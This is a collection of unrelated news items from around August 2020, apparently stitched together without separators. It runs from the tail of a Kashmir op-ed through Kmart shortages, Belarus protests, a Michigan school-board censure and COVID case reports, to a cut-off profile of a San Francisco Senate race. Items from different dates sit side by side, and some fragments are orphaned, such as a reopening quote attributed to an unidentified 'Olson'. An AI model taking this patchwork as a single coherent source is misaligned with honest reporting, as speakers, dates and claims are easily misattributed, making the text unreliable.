of Article 370, August 4, 2020. Therefore, all factors taken into consideration, wise and prudent statecraft lies in Islamabad focusing single-mindedly on the Afghan problem at this crucial juncture rather than frittering away its limited diplomatic and political capital on the Kashmir issue. That is also what the international community expects from Pakistan, as the timing of the phone calls to the Indian and Pakistani ministers (here (external link) and here (external link)) by US Secretary of State Mike Pompeo last week would suggest. Washington's priority lies in somehow kickstarting the intra-Afghan dialogue (external link) and taking some political mileage out of it back home during Trump's campaign in the November election. Washington expects Delhi not to act as 'spoiler' while it counts on Islamabad to be a key facilitator of the Afghan peace process. The bottom line is that despite the hype by some Pakistani (and Indian) analysts, there is no shred of evidence to suggest that the developments in eastern Ladakh augur China's entry into the Kashmir issue. That stand-off stemmed almost entirely out of the idiocies in Indian policies -- principally, its death dance with the Quad and its gravitation toward the US-led 'Indo-Pacific strategy' and the unwarranted move to insert Aksai Chin into its integration plan for J&K under the mistaken notion that Trump would scare off Beijing. On August 5, Beijing restated its 'consistent and clear' position on Kashmir when its foreign ministry spokesman Ambassador Wang Wenbin said: 'China follows closely the situation in the Kashmir region. Our position on the Kashmir issue is consistent and clear. First, the Kashmir issue is a dispute left over from history between Pakistan and India, which is an objective fact established by the UN Charter, relevant Security Council resolutions and bilateral agreements between Pakistan and India.' 'Second, any unilateral change to the status quo in the Kashmir region is illegal and invalid.' 'Third, the Kashmir region issue should be properly and peacefully resolved through dialogue and consultation between the parties concerned.' 'Pakistan and India are neighbours that cannot be moved away. Harmony between the two countries serves the fundamental interests of both sides and the common aspiration of the international community.' 'China sincerely hopes that the two sides can properly handle differences through dialogue, improve relations and jointly safeguard peace, stability and development of the two countries and the region.' Simply put, much as Beijing cannot accept the Indian claim to Aksai Chin and considers Delhi's recent assertions to be 'illegal and invalid', it continues to remain rooted in the belief that the Kashmir problem as such is a bilateral issue between India and Pakistan. Unlike the Americans who keep inserting the 'wishes of the Kashmiri people' as a template, Beijing unequivocally frames its position that Kashmir is an India-Pakistan bilateral issue. Ambassador Wang pointedly expressed China's goodwill toward both its neighbours by urging them to solve the issue bilaterally through dialogue and peaceful negotiations. Put differently, despite the raucous Indian claim on Aksai Chin lately, the Chinese stance on the Kashmir problem has not changed since early 1994 when then Chinese foreign minister Qian Qichen conveyed to his Indian counterpart the late Dinesh Singh at a meeting in Tehran Beijing's stance on the Kashmir issue in the post-Cold War setting on exactly the same lines as Ambassador Wang did. This may disappoint hardliners in Pakistan (and India), but facts are facts. The sooner Pakistan and India face these geopolitical realities, the better it will be for their own security and prosperity. Ambassador M K Bhadrakumar served the Indian Foreign Service for more than 29 years. He has served as India's ambassador to Turkey and Uzbekistan and has been a contributor to Rediff.com for well over a decade. Feature Presentation: Aslam Hunani/Rediff.com Angry shoppers have slammed Kmart for advertising products that are no longer available due to stock shortages from COVID-19. The retailer has copped scathing reviews from frustrated customers on social media after a number of items advertised in their latest catalog and online weren't available to purchase. 'Kmart is so disappointing, most of the shelves are empty, pointless bringing out a new catalog when there is no stock in store let alone online,' one Facebook comment reads. 'Frustrating when you purchase a whole bunch of things that were available for delivery and for your daughters new room only to be sent an email saying the quilt cover is unavailable and now I cant find it anywhere,' another post reads. 'Why bother to show us when you dont have the stock anywhere?' another comment reads. Customers have slammed Kmart over empty shelves (pictured) and a lack of available products in their online store Many comments on social media claim they had tried to purchase items from the retailer but no stock was available The coronavirus period has sparked high demand for many of Kmart's most sought after products, leaving the retailers shelves bare. 'Unpredictable sales have seen stock flying out the door and into your homes, as we experience unusually high demand for some of our products in store and online,' a statement on Kmart Australia's website reads. 'We appreciate your support and we understand its been frustrating for many of our customers as were running low on certain items. 'Products on our website may also incorrectly appear as available in store and we are truly sorry to disappoint.' Kmart ensured they are working tirelessly to meet the unexpected demand and are expecting more availability in stock in the coming weeks. The business is among many Australian retailers struggling for stock from international supply chains and overseas manufacturers amid COVID-19. Businesses use international sources such as China for their production base over Australia as it is much cheaper. Retail experts said the lag in restocking shelves was due to the low-cost items being mass produced in China and other countries that were put in lockdown, putting production of some goods on hold for a period of time. Consumer expert and researcher at QUT Gary Mortimer told Daily Mail Australia the stores were reliant on cheap overseas manufacturing. 'Australian discount department stores are heavily reliant on overseas production, whether that comes out of India, China, Pakistan or Bangladesh,' he said. Kmart released a statement (pictured) and ensured they are working tirelessly to meet the unexpected high demand Mr Mortimer said production halts in supply networks have lead to empty shelves in Australian stores. National Retail Association CEO Dominique Lamb told Daily Mail Australia stock levels should replenish after a disruptive period. 'COVID-19 has put a considerable strain on some global supply chains and therefore we're seeing some empty shelves at certain shops,' she said. 'In the same way that supermarket shelves are now back to normal, the same will occur at these discount stores,' Ms Lamb said. Retail analyst Barry Urquhart told 7News local merchants must do better in using local supply networks. 'Unfortunately, Australian retailers are falling short of expectations,' he said. 'Sourcing products, locally, Australian-made, is very, very important.' Under ACCC advertising sanctions retailers must clearly state if an item is in short supply. Daily Mail Australia has contacted Kmart Australia for comment. YEREVAN. An argument occurred Tuesday in Yerevan between Narek Samsonyan, President of the "Civil Consciousness" NGO of Armenia, and a policeman, and the police officers had blocked Samsonyans way. Then, the special police forces took him to a police precinct. "Not only did I not insult the policeman, but I also consider that the man was not a policeman because a policeman cannot behave in such a rude way and cannot carry out a political order," Samsonyan told reporters this, leaving the aforementioned police precinct. He noted that the said police officer had apparent political views. "I was brought to the precinct for insult the policeman; but I did not insult a policeman and I am not going to either. (). If a person is not a policeman, hasnt behaved like a policeman, but behaved like the last mob, and the footage shows that the policeman behaves like a thug, () then it is obvious that he cant be treated in the same way as other police officers", Samsonyan added. Digital out-of-home (DOOH) advertising is one of the last, untapped frontiers for programmatic marketers. Were thrilled to partner with Investissement Quebec to enable a new chapter in our history. Hivestack, a global ad tech leader in programmatic digital out-of-home (DOOH) advertising, today announced that it has secured $10 million CDN in equity funding by Investissement Quebec (IQ) to support its global expansion. This significant funding will enable Hivestack to expand its workforce both in its Montreal headquarters as well as globally. Hivestack will continue to stimulate Quebecs economy by actively recruiting in all business areas, with a strong focus on R&D (research and development). Programmatic DOOH is a burgeoning field that offers marketers increased speed and flexibility. The ability to pause or reactivate campaigns in an on and off manner ensured minimal economic disruption during the pandemic. The gradual return of consumers outside of the home also offered interesting development and targeting opportunities in the field. Guy LeBlanc, CEO of Investissement Quebec said: With this funding, we are happy to take an active part in the development and growth of Hivestack, here in Quebec and internationally. Their platform will enable advertisers, both in the public and private sectors, to reach their targeted audiences in an increasingly evolving context. Whether it is in technology, artificial intelligence or any other field, innovation and creativity will spearhead Quebec's economic recovery." Francois de Gaspe Beaubien, Executive Chairman of the Board and Co-founder of Hivestack shared: We are extremely proud to welcome Investissement Quebec as our partner. Thanks to them, we will be able to accelerate the deployment of our platform at a global level. And we are especially proud that Montreal continues to be a hub for excellence and innovation thanks to the support of our government. Andreas Soupliotis, Founder and CEO of Hivestack, also commented: Digital out-of-home (DOOH) advertising is one of the last, untapped frontiers for programmatic marketers. Today, the majority of DOOH advertising is bought directly between buyers and sellers. This is poised for a dramatic change with programmatic technology acting as the key growth driver. The rise of privacy-compliant location data, the desire for automation, and the demand for real-world attribution have created an environment where marketers are showing an increased propensity for programmatic DOOH to drive outcomes. Hivestack has shown phenomenal growth over the past three years while building great products that drive these new capabilities for our medium. Were thrilled to partner with Investissement Quebec to enable a new chapter in our history. The partnership will allow Hivestack to grow at an accelerated rate by hiring more amazing talent in Montreal and expand faster internationally. Highlights on Hivestack Hivestack was created in September 2017 and its head office is located in Montreal. It currently employs 42 people, including 33 in Quebec. Hivestack also has offices in Toronto, Tokyo, London, New York and Sydney. About Hivestack Hivestack is a global, full stack, marketing technology company that powers the buy and sell-side of programmatic digital out-of-home (DOOH) advertising. On the buy side, marketers use Hivestacks Demand-Side Platform to create measurable campaigns that activate DOOH screens in real time based on consumer behaviour and audience movement patterns. On the sell-side, DOOH media owners use Hivestacks Supply-Side Platform & Ad Exchange to attract programmatic revenue. DOOH media owners can also use Hivestacks Ad Server to power audience-based, directly sold campaigns. Attribution is a first class-citizen throughout Hivestacks platform, offering buyers and sellers the ability to measure business outcomes at all stages of the consumer sales funnel. Hivestack is headquartered in Montreal, Canada, and has global operations in Toronto, Tokyo, London, New York and Sydney. For more information, please visit https://www.hivestack.com About Investissement Quebec Investissement Quebec's mission is to actively participate in the economic development of Quebec by stimulating innovation in businesses, entrepreneurship and buyers, as well as the growth of investment and exports. Active in all administrative regions of Quebec, the Company supports the creation and development of businesses of all sizes through investments and adapted financial solutions. Investissement Quebec also supports businesses through consulting services and other support measures, in particular technological support offered by Investissement Quebec - CRIQ. Also, thanks to Investissement Quebec International, the Company supports companies in export matters and leads the prospecting of talent and foreign investments in Quebec. Contact Information: Melodie Imbert Marketing Specialist Hivestack 514 660-3553 Melodie@hivestack.com Isabelle Fontaine Senior Director, Media and Government Affairs 514 876-9559 Isabelle.fontaine@invest-quebec.com MECOSTA, OSCEOLA COUNTIES Mecosta and Osceola county judges are trying to find a way to safely conduct jury trials as Michigan courts continue to operate remotely during the COVID-19 pandemic. "We are having difficulty determining when we are going to be able to properly conduct jury trials again, and that really matters because if someone hasn't been able to bond out of jail or we didn't set a bond because of factors that they were dangerous or likely to flee, it's not appropriate for folks to sit in jail with no end in sight," 49th Circuit Court Judge Scott Hill-Kennedy told the Pioneer. Due to the coronavirus pandemic and guidelines from the Centers for Disease Control, state of Michigan and Michigan Supreme Court, the courts in Mecosta and Osceola counties have been operating mostly remotely since March, with the majority of court proceedings taking place via Zoom, barring a few exceptions. 77th District Court Judge Peter Jaklevic said, overall, this system has been working well for the courts. However, conducting jury trials remains an issue. "We are keeping up. All the courts are doing everything that they've always done," Jaklevic said. "The only thing we can't do is jury trials, and the reason for that is we don't have a big enough space in the courtrooms. We have to follow the CDC guidelines for social distancing." Hill-Kennedy explained only a small percentage of criminal felony cases go to trial. "What typically happens in probably 90% of criminal cases that are felonies in the circuit court, are they end up either going to a plea to some charge by the defendant or being dismissed," he said. Nonetheless, Hill-Kennedy said court officials have been considering all their options for conducting jury trials in the cases that require them, such as holding trials in area schools with more space, making proper social distancing possible. Jaklevic said if a solution is found for conducting jury trials in the district and circuit courts in Mecosta and Osceola counties, they will essentially be fully operational despite most people working remotely. "Jury trials are probably the single most important part of the criminal justice system," he said. " ... If we can get back jury trials and keep people safe in the process, we are really going to be going at 100%." Although court officials continue discussions on how to hold jury trials, Hill-Kennedy and Jaklevic said other court proceedings have been running fairly smoothly. Hill-Kennedy said steps such as arraignments, settlement conferences and other meetings between the parties of a case, the attorneys and the judges have been able to be completed via Zoom. He added that this has been particularly helpful for attorneys who live several hours away, as they have not had to schedule proceedings based around the time it would take them to drive to and from different courts across the state. One issue Hill-Kennedy said they have faced though is a lack of internet in some more rural areas of the county. "We are encountering that some of our citizens have not been able to participate due to technological limitations," he said. However, he said people are encouraged to go somewhere with public internet access in these instances. Jaklevic said he has also received positive feedback from attorneys and parties who have found the Zoom conferences to be more convenient. "I think there's some things that are going to continue like this when this is all over," he said. Although some people have found the Zoom option helpful, Hill-Kennedy said defendants have the right to request certain aspects of their case be handled in person, including when they are officially sentenced in a case. "If a defendant wants to be sentenced after entering a plea or being convicted during a jury trial if that person wants to have the sentencing done in person in the courtroom in front of the judge that person has the right to request that. That's their constitutional right," he said. As court officials continue to find ways to uphold the justice system during the ongoing pandemic, Hill-Kennedy said he is grateful to the judges and other court staff he has been working alongside. "I work with great colleagues, and they have been great in brainstorming, being helpful and trying to figure out ways to run our court smoothly and appropriately through all these limitations that we face because of the lockdown orders," Hill-Kennedy said. Presidential candidate Svetlana Tikhanovskaya holds a press conference the day after Belarus' presidential election in Minsk on Aug. 10, 2020. (Sergei Gapon/AFP via Getty Images) Belarusian Opposition Leader Flees Abroad After Bloody Clashes MINSKBelarusian opposition leader Svetlana Tikhanouskaya said on Tuesday she had fled abroad for the sake of her children, after two nights of clashes following the contested re-election of strongman President Alexander Lukashenko. Tikhanouskaya, a 37-year-old former English teacher, emerged from obscurity to mount the biggest challenge in years to Lukashenko, taking her husbands place in the campaign after he was jailed. Police block a square during a mass protest following presidential elections in Minsk, Belarus, Monday, on Aug. 10, 2020. (Sergei Grits/AP Photo) You know, I thought that this whole campaign really had hardened me and given me so much strength that I could handle anything, she said, explaining her decision in a somber video released on her husbands YouTube channel. But, probably, Im still the weak woman I was in the first place. I have made a very difficult decision for myself. Both she and the Belarusian authorities said she had not been forced to leave. People gather during a mass protest following presidential elections in Minsk, Belarus, Aug. 10, 2020. (Sergei Grits/AP Photo) There had been concern about Tikhanouskayas whereabouts after her campaign team said on Monday they had been unable to reach her by phone hours after she was known to have left a meeting with central election commission officials. By Tuesday morning she had joined her children in Lithuania. The state border committee later confirmed her departure. And I know that many people will understand me, many will judge me and many will hate me. But, you know, God forbid being faced with such a choice that I was faced with, she said. So, people, take care pleaseno life is worth what is happening now. Children are the most important thing in our lives. People gather during a mass protest following presidential elections in Minsk, Belarus, on Aug. 10, 2020. (Sergei Grits/AP Photo) At least one person died as police clashed with protesters on Monday after the opposition accused Lukashenko of rigging the vote amid widespread criticism from Western leaders. Helmeted police fired tear gas, rubber bullets and stun grenades and used batons to disperse thousands of people in Minsk in a second night of violence. Protesters set up barricades in several areas and threw petrol bombs. Local media reported clashes in other towns. In power for more than a quarter of a century, Lukashenko has compared the protesters to criminal gangs and dangerous revolutionaries with shadowy foreign backers. Police use truncheons on protesters during a mass protest following presidential election in Minsk, Belarus, on Aug. 10, 2020. (Sergei Grits/AP Photo) U.S. Secretary of State Mike Pompeo said the election was not free and fair and condemned ongoing violence against protesters and the detention of opposition supporters. Foreign observers have not judged an election to be free and fair in Belarus since 1995, and the run-up to this months vote saw authorities jail Lukashenkos rivals and open criminal investigations of others who voiced opposition. Tikhanouskayas campaign rallies drew some of the biggest crowds since the fall of the Soviet Union in 1991. She was initially reluctant to stand, saying she had received an anonymous threat of having her children taken away. She had moved them abroad during the campaign. Her husband, Syarhei, had popularized a protest movement that compared Lukashenko to a cockroach character from a childrens fairy tale. He was arrested in May. By Andrei Makhovsky MUSKEGON COUNTY, MI The Mona Shores Board of Education on Monday voted to censure Trustee Wesley Wilson and called for his resignation over concerns about a 2018 felony charge for larceny by false pretense. Wilson eventually pleaded no contest to misdemeanor larceny. He reportedly did not notify the board of the charges against him and some residents had expressed the legal issues were a matter of concern. Mr. Wilsons failure to be forthcoming regarding his conviction has harmed public trust in the Board of Education and the Boards trust in him, according to the Aug. 10 censure statement. The Board of Education believes that this loss of trust will render him ineffective as a trustee, and that this trust cannot be restored while he remains on the Board. Board President Stan Miller said the censure statement, approved 6-0, is a formal way for the board to reprimand Wilson and his actions. Wilson abstained from the vote that occurred after the board went into closed session. Wilson has until 5 p.m. Thursday, Aug. 13, to resign, or the school board will petition Gov. Gretchen Whitmer for his removal from office, according to the board statement. The board will then have 30 days to seek applicants and fill the open seat. Wilson, elected in 2016, term expires in December 2022. He was president of Grand Valley State University Democrats and a school board member at the time of his legal trouble. Wilson was accused of misusing university funds under false pretenses after he purchased plane tickets to Las Vegas for the College Democrats of America Convention using GVSU funds in 2017. According to a 69-page report filed by GVSU Police Department, Wilson took advantage of a university policy that funds 50 percent of expenses for approved student organized trips. Wilson reportedly applied for enough funding to cover 10 students even though only five students were attending the event, thus covering the students full expenses, according to witnesses interviewed by police. Wilson did not tell the four other students that he had misused the funds, witnesses told police. He also had invited two non-GVSU students on the trip, even though only GVSU students are eligible for the funds, according to the police report. The university approved Wilsons request and he purchased the tickets for $1,675 in September 2017. During the November trip, Wilson revealed to the other four students that he had intentionally applied for double the funding from the university to get everyones trips paid for. In early 2018, when university officials were made aware of Wilsons spending, he told university officials and police that it was just dumb mistakes and he had intended to pay it back, according to police records. The Ottawa County Prosecutors Office reportedly issued a felony charge to Wilson for larceny by false pretense in April 2018. Wilson eventually pleaded no contest to a misdemeanor larceny, according to 58th District Court officials. Wilson told MLive Tuesday in a prepared statement that he has never lied about his past, and it has always been public record. Wilson, whose full statement is available online, said he did not agree with the boards censure statement. He said he has not yet decided whether he will resign. I understand what I did was wrong, he wrote. I have tried my best to make amends to my community and GVSU. However, I do not agree with the board censure. There is such obvious political motivation behind the few community members who have encouraged the board to pursue such actions. The motion for censure was rushed; there was no investigation or fact finding as would typically be done by a board in these situations. There should have been more due process before such drastic action is taken against an elected official, whether me or anyone else. Miller said the Mona Shores school board was aware in 2018 of allegations against Wilson, but was not aware of any criminal charges. When asked by MLive what the board did after finding out about the allegations, Miller declined to answer. Theres parts of this that I simply cant answer because its protected by the confidentiality of a closed session that we held in April of 2018, he told MLive Tuesday. The school board went into a 44-minute closed session for the purpose of discussing complaints or charges against an employee or school board member at the end of a work session April 9, 2018, according to archived meeting minutes. The board did not publicly address the allegations after the work session. Wilsons charges were brought to public attention after Norton Shores City Council member Dan Olson raised concerns about Wilson during public comment at the school boards Aug. 5 meeting. Shortly after he began speaking, Olson was cut off by Miller and told to submit a written complaint to the board against Wilson to be addressed at a later meeting. Olson later told MLive he brought the charges to light to hold Wilson and the board accountable for their actions. (Wilson) should have either resigned voluntarily from the board, or the board should have petitioned the governor to remove him (when the board found out about the accusations against Wilson), Olson told MLive last week. Instead, they did nothing and swept it under the rug. More on MLive: Mona Shores back-to-school plan includes in-person, virtual learning options Grand Rapids school board approves online-only learning to start year What do Michigan teachers fear most about in-person learning? The students sitting in their classrooms Lucknow, Aug 11 : The Yogi Adityanath government has set up a Special Investigation Team (SIT) to probe the death of a US student Sudiksha Bhati who died in a road mishap on Monday. IG Pravin Kumar said that the SIT would be led by a circle officer and two inspectors. The team will probe the circumstances that led to the girl's death. Earlier on Tuesday,the district officials had claimed that it was a road accident and that Sudiksha was pillion riding the bike with her minor brother. The victim's father Jitendra Bhati however claimed that his daughter was being heckled by motorbike borne men that led to the accident. In Minnesota the media are flogging an alleged increase in new cases and the Sturgis apocalypse to sustain the epidemic of hysteria. See, for example, Jeremy Olsons Star Tribune story 625 new Minnesota COVID-19 cases contribute to weekend surge. Subhead: COVID-19 deaths have not increased amid rise in infections, but health officials worry that this trend could emerge next. Or skip to the Star Tribune editorial Utter disaster. Allowing Sturgis rally to go on puts nation at risk. Subhead: Failure of leadership at multiple levels allows event to go on during pandemic. Coming soon: World to end tomorrow: Women, minorities hardest hit. While we wait for the end of the world as we know it, we note that deaths attributed by the authorities continue at a low, low level, contrary to their projections and warnings. Yesterday, to take the example closest to hand, we had three new deaths. One decedent was in his 90s, one in his 80s, and one in his 60s. Kevin Roche offers a timely An Antidote to Fear-Mongering. Kevin comments: Rational assessment of facts and data is the best antidote to fear and anxiety. Here is the current chart (thanks to C. Nelson) on the daily cases, hospitalizations and deaths in Minnesota. See that huge recent surge in cases the State keeps talking about. No, you dont. See how hospitalizations have stayed as high as they were in May. No, you dont. See how deaths have jumped up. No, you dont; they have largely flatlined. So when people reference the garbage tossed out by fearmongers, show them this. This is the accompanying chart. A reader reformatted the chart using the MDH data represented on it. The chart below places deaths on a secondary axis so we can see the real movement in that number. Here it is. Oh, well. Governor Walz has recalled the legislature for yet another special session at noon tomorrow to extend the era of one-man rule. It a long way to temporary. I have posted yesterdays Minnesota Department of press briefing (audio below). A flock of bureaucrats addresses the new MDH guidance on visitation to long-term care facilities. Kevin makes the briefing the subject of his Monday meanderings. On the failure of new cases to lead to an increase hospitalizations and deaths, Infectious Disease Division Director Kris Ehresmann advises as she frequently has done: Deaths are a lagging indicator. Lets just say that they continue to lag. Pattern, a Salt Lake City, UT-based global ecommerce business solutions provider, closed its a $52M first round of funding. The round was co-led by Ainge Advisory and KSV Global. The company intends to use the funds to continue developing tools to make decisions based on real-time data. Led by co-founder and CEO Dave Wright and co-founder and chief investment officer Melanie Alder, Pattern uses its proprietary technology and data-driven insights to help brands gain profitable ecommerce growth on both their own websites as well as on global marketplaces such as Amazon, Walmart, eBay, Google, Tmall, JD, and MercadoLibre. Its technology stack including Predict and Shelf provide brands a data-driven view into their ecommerce operations and performance across key metrics including SEO, advertising, ratings and reviews, MAP compliance, pricing competitiveness, global distribution, and more. The company, which has more than 400 employees across 18 global locations, serves such brands as Nestle, Panasonic, Zebra, and Skechers, among others. FinSMEs 11/08/2020 In her new book, The Truths We Hold: An American Journey, Kamala Harris tells the story of her rise from a young girl growing up in Oakland to her 2016 election as U.S. senator from California. Harris was born in 1964 to two immigrant parents. Her mother, a native of India, was a scientist; her father, who came to the U.S. from Jamaica, is an emeritus economics professor at Stanford University. Her mother was originally supposed to enter an arranged marriage in India, but she scrapped that plan when she met Harris father at Berkeley, where the two were active in the civil rights movement. BOOK REVIEW: Kamala Harris lays out the core ideals of her 2020 campaign in her new book, The Truths We Hold As a child, she lived in Oakland and Montreal before earning her bachelors degree at Howard University and her law degree at the University of Californias Hastings College of the Law in San Francisco. Advertisement Before her election to the Senate, Harris served as San Franciscos district attorney and as the attorney general of California. Shes widely seen as a potential candidate for the Democratic presidential nomination in the 2020 election. The Truths We Hold, in which Harris discusses her childhood, career and her vision for the future of America, was published Tuesday by the Penguin Press. Below are 10 photos from the book, which follow Harris upbringing in Oakland and her path toward politics. At twenty-five years old, Mommy had a college degree, a PhD, and me. (Courtesy of Kamala Harris) Proud daddy on his way to a doctorate in economics at Berkeley. (April 1965) (Courtesy of Kamala Harris) Christmas 1968. Sisters waiting for Santa Claus. (Courtesy of Kamala Harris) Hanging out with my family in Jamaica. Maya is off to the right. (Courtesy of Kamala Harris) My favorite pleather jacket at age seven. (December 1971) (Courtesy of Kamala Harris) In front of Mrs. Sheltons house, holding her granddaughter Saniyyah. The house was always full of children, good cooking, and lots of love. (Summer 1978) (Courtesy of Kamala Harris) During my freshman year at Howard University, almost every weekend was spent at the Mall protesting apartheid and calling for divestment. Here I am with Gwen Whitfield. (November 1982) (Courtesy of Kamala Harris) Graduating from University of California Hastings College of the Law in May 1989. My first grade teacher, Mrs. Wilson (left), came to cheer me on. My mom was pretty proud, too. (Courtesy of Kamala Harris) Even after I started working in the Alameda County District Attorneys Office, I would return to Mrs. Sheltons kitchen, where I always knew I would receive a warm hug and delicious food. (Courtesy of Kamala Harris) Health Minister Robin Swann has expressed concern about the increasing number of coronavirus cases in Northern Ireland. The Department of Health today reported 48 new cases of Covid-19 in the last 24 hours, however no deaths were reported. Mr Swann stated: I am concerned about the rise in positive cases in recent days. We now have an average of over 27 new positive cases per day compared to approximately three per day a few short weeks ago. It is very concerning that nine people have been admitted to hospital with Covid-19, two of which are currently in ICU. This highlights the continuing threat from Covid-19 and we must all do everything within our power to tackle this." Mr Swann said that contact tracing remains the "key" to tackling the pandemic and that more than 230,000 people have downloaded the COVIDNI app. He added: "We spent many weeks clapping in support of our health and social care staff and I urge everyone to remember why we did that. "The threat has not gone away and our HSC system still needs our support. The measures that we have introduced will help slow the spread of Covid-19 and keep more of our loved ones and family safe. I therefore make no apology for once again urging everyone to remain vigilant. Do not let down your guard." Read More The death toll in the Northern Ireland remains at 557, after the first Covid death in four weeks was reported on Monday. An additional 3,402 tests for the virus have been carried out on 2,535 people, resulting in 48 positive cases. The total of confirmed cases of the virus since the outbreak began is now 6,188. There are currently two patients with Covid-19 in intensive care, while two care homes are dealing with outbreaks. Read More Follow our live blog below for all the latest coronavirus developments as they happened: Indias Covid-19 tally on Tuesday neared 2.27 million after more than 53,601 cases and 571 deaths were registered. The total number of recoveries in the country crossed 1.5 million, a record high which the health ministry attributes to its strategy of aggressive testing, tracking the treating those infected with the virus. As per government data, more than 10 states are responsible for at least 80% of the new infections in the country. Delhis Covid-19 recovery rate crossed 90 per cent after more than 130k people recovered from the infection. The national capital has been witnessing a downward in the number of cases being registered on a daily basis. A three member central team which is in Hyderabad to review the management of coronavirus in Telanagana, asked the state government to ramp up testing and presented the 'Delhi model' as an example to curb the spread of Covid-19. Telanagana has been witnessing a spike in the number of positive cases in the last few days. Click here for complete coverage of the Covid-19 pandemic The World Health Organization (WHO) said that there was still hope of conquering the Covid-19 pandemic despite the probability of 750,000 deaths and 20 million cases being recorded this week. We must shift away from our original reopening plans, starting the year with full remote learning for all students, Olson told parents. We will continue to work towards starting in-person instruction for those who are interested, beginning with an assessment throughout the month of September to determine if we can begin the in-person hybrid option in early October for the second half of the first trimester. The UN World Food Program (WFP) will send 50 thousand tons of wheat flour to Lebanon as part of measures to combat food shortages in the republic, Reuters reported referring to the UN Office for the Coordination of Humanitarian Affairs (OCHA). An initial shipment of 17,500 tonnes is due to arrive in Beirut within the coming 10 days to supply bakeries for one month, the UN report said. The UN report said the Beirut port was expected to remain inoperable for at least a month. A powerful blast rocked the port of Beirut on 4 August. The blast wave destroyed and damaged dozens of houses, more than 300 thousand people were left homeless. At least 200 people killed, and about 5 thousand injured. Jackie Fielder, a 25-year-old activist and college lecturer, is mounting a surprisingly strong challenge to state Sen. Scott Wiener in an only-in-San Francisco contest that features a progressive incumbent and an even more progressive opponent. Fielder, a democratic socialist who describes herself as a Native American ... Mexicana, and queer educator and organizer, is making her first run for office against Wiener, a 50-year-old gay attorney who was elected to the state Senate in 2016 after serving two terms on the Board of Supervisors. Fielder collected a third of the vote in the March primary to set up the all-Democratic general election in the 11th State Senate District. The Mission District resident is attacking Wiener from the left, arguing that he has not been progressive enough to properly represent the district, which includes all of San Francisco along with Daly City, Broadmoor, Colma and part of South San Francisco. We need someone in Sacramento we can count on 100% of the time, not 50%, Fielder said in an interview. Now is the time for bolder changes. Wiener, a Castro district resident, points to the 36 bills hes written that have become law as evidence of the impact hes had in Sacramento. They include measures eliminating some prison sentence enhancements, providing net neutrality protections, protecting LGBT seniors and a wide range of efforts to make housing more affordable. Im anything but timid when it comes to legislating, he said in an interview. Im one of the most progressive members of the Legislature. But being the most progressive Democrat in Sacramento isnt the same as being the progressive leader in San Francisco, as even Wiener acknowledges. Someones always going to say Im not progressive enough, he said. It wouldnt be a San Francisco election if someone wasnt saying a candidate wasnt left enough. Theres a huge political gap between San Francisco and most of California. With Republicans making up fewer than 7% of the registered voters in the city and the Senate district, the political battles are typically intramural affairs featuring progressive Democrats and left-leaning independent voters. Narrow issues divide candidates in San Francisco, and thats not always true in Sacramento, said Corey Cook, vice provost at St. Marys College and a former political science professor at the University of San Francisco. In San Francisco, the argument is about how strong tenant protections should be, while in Sacramento the question is whether there should be any protections at all. Issues that are settled questions in San Francisco LGBT rights, sanctuary city rules, rent control and others are battlegrounds in the Legislature. More Information State Senate endorsements Jackie Fielder Supporters include progressive groups Our Revolution, the California Progressive Alliance and the Democratic Socialists of America. She also has the backing of the California Teachers Association, United Educators of San Francisco, the San Francisco Tenants Union, San Francisco Supervisors Gordon Mar, Dean Preston, Hillary Ronen and Matt Haney, along with Mark Sanchez, president of the San Francisco Board of Education, and former Assemblyman Tom Ammiano. Scott Wiener Wiener's backers include most mainstream Democratic leaders, including Gov. Gavin Newsom, Sens. Dianne Feinstein and Kamala Harris, House Speaker Nancy Pelosi of San Francisco and Rep. Jackie Speier, D-San Mateo. He has been endorsed by San Francisco Assemblymen David Chiu and Phil Ting, along with San Francisco Mayor London Breed, San Francisco Supervisors Norman Yee, Rafael Mandelman, Ahsha Safai, Catherine Stefani and Shamann Walton. Other endorsements include all five San Mateo County supervisors, the California Democratic Party, the California League of Conservation Voters, Equality California and a several labor unions. See More Collapse Someone like Scott Wiener can be a leader in the progressive cause in Sacramento, but seen as not doing enough by San Francisco standards, Cook said. Fielder has slammed Wiener for defending police officers accused of misconduct when he worked in San Franciscos City Attorneys Office, for supporting increases in the size of the police force as a supervisor and for trying to balance the budget on the backs of students, teachers and public employees by supporting coronavirus-based cuts in the current state budget. She also argued that Wieners housing efforts have been directed more at helping campaign donors in the real estate industry than the people who need housing, focusing on market-based solutions that benefit developers and speculators and dont close the housing gap. Fielder wants to see a $100 billion California Housing Emergency Fund, raised by tax increases on the states wealthiest taxpayers and corporations. The money would be used to buy at least 200,000 existing units and to build 100,000 new homes, owned either publicly or by nonprofit groups. Fielder, a lecturer in the College of Ethnic Studies at San Francisco State University, would also incentivize or require the states wealthiest neighborhoods to create more housing at all levels of affordability. Californias budget needs to be bigger to deal with the states problems, Fielder said, including financing single-payer health care, free child care, free public education from preschool through college, free public transportation and a $20-an-hour minimum wage. This can be done, Fielder said, by building alliances that Wiener hasnt been able to create. The majority of Californians support fundamental change in the states economy, she said. Ive been able to build coalitions, working on projects as varied as the Native American fight against the Dakota Access Pipeline and the successful opposition campaign against a 2018 San Francisco ballot measure that would have given police more latitude in using Taser stun guns. Wiener argues that its much easier to talk about fundamental change than it is to make those changes happen. If you never compromise, it feels good and makes a good sound bite on Twitter, but you wont accomplish anything, he said. Im not someone who goes to Sacramento to yell and tweet. Ive turned these concerns into laws. A legislator needs to work with a variety of groups and people to get bills passed, Wiener added, but that doesnt mean there arent disputes. While he has worked with developers and landowners, he said, Ive stood up to the real estate industry when I disagreed with them. Wiener recently lost a major endorsement because of a dispute with a labor group. The California Labor Federation backed him in the primary but declined to renew that endorsement for November, citing a dispute over what it argued were inadequate protections for unions in his SB899, which would have allowed church groups to build affordable housing on their land. The measure, which the state Senate passed unanimously in June, stalled in the Assembly after building trade groups raised concerns that the bill would not require union labor. While the state labor group did not endorse Fielder, local unions can now support her campaign. Wiener, who noted that he has a 100% voting record during his time in Sacramento with the California Labor Federation, said labor groups originally signed off on the bill and then changed their position. The action is disappointing and shortsighted, he said. That kind of back-and-forth dispute with major players in California politics is something Fielder, who filed to run for state Senate about 18 months after moving to San Francisco, doesnt have the experience to deal with, Wiener said. Theres no way you can know a community as complex and diverse as San Francisco in only 18 months, he said. She doesnt know the community, she only knows a small subset of it, the democratic socialists. Wiener, who has lived in San Francisco for 23 years, argued that his years of working with all kinds of groups in and around San Francisco make a difference. We need leadership who understands the community, who has worked for the community, he said. I fight for our progressive values, not only fight, but I know how to deliver. Fielder, who grew up in Southern California and moved to the Bay Area to attend Stanford University, says San Francisco is the only city she 